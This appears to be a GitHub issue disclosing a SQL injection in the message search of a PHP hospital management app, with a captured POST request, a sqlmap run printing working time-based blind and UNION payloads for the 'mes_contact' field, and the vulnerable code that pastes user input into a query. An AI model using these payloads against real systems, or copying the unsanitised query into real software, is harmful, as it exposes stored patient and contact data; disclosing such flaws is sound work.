SQL Injection Vulnerability in Message Search #7

Open **dumpling-soup** opened this issue on Aug 10, 2021 · 1 comment

dumpling-soup commented on Aug 10, 2021 • edited

Intercept message search and save contents into a text file.

Forward | Drop | Intercept is on | Action | Open Browser

Pretty | Raw | \n | Actions

```
POST /hospital/messearch.php HTTP/1.1
Host: localhost
Content-Length: 41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/hospital/admin-panel1.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ktrhtukotppdglpeq5hlapnm0s
Connection: close

mes_contact=test&mes_search_submit=Search
```

Run SQLmap

```
┌──(kali㉿kali)-[~]
└─$ sqlmap -r hospital.txt -p mes_contact                                  2 ⚙

        {1.5.7#stable}

        http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
 liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:44:21 /2021-08-10/

[22:44:21] [INFO] parsing HTTP request from 'hospital.txt'
[22:44:21] [INFO] resuming back-end DBMS 'mysql'
[22:44:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mes_contact (POST)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: mes_contact=test' AND (SELECT 5984 FROM (SELECT(SLEEP(5)))dPRm) AND 'oIdU'='oIdU&mes_search_submit=Search

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: mes_contact=test' UNION ALL SELECT NULL,CONCAT(0x7162787a71,0x4c756c724b714b774f6774706d70414a624969765963535464617176425245 6d516d64415a736454,0x716b627671),NULL,NULL-- -&mes_search_submit=Search
---
[22:44:22] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.48, PHP 8.0.9
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[22:44:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/[redacted]

[*] ending @ 22:44:22 /2021-08-10/
```

Area of concern in messearch.php

```
<?php
include("newfunc.php");
if(isset($_POST['mes_search_submit']))
{
    $contact=$_POST['mes_contact'];
    $query = "select * from contact where contact= '$contact'";
  $result = mysqli_query($con,$query);
  $row=mysqli_fetch_array($result);
  if($row['name']=="" & $row['email']=="" & $row['contact']=="" & $row['message']==""){
    echo "<script> alert('No entries found! Please enter valid details');
          window.location.href = 'admin-panel1.php#list-doc';</script>";
  }
```

nu11secur1ty commented on Sep 8, 2021

Almost all projects of this vendor are critically vulnerable!

href

BR @nu11secur1ty

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants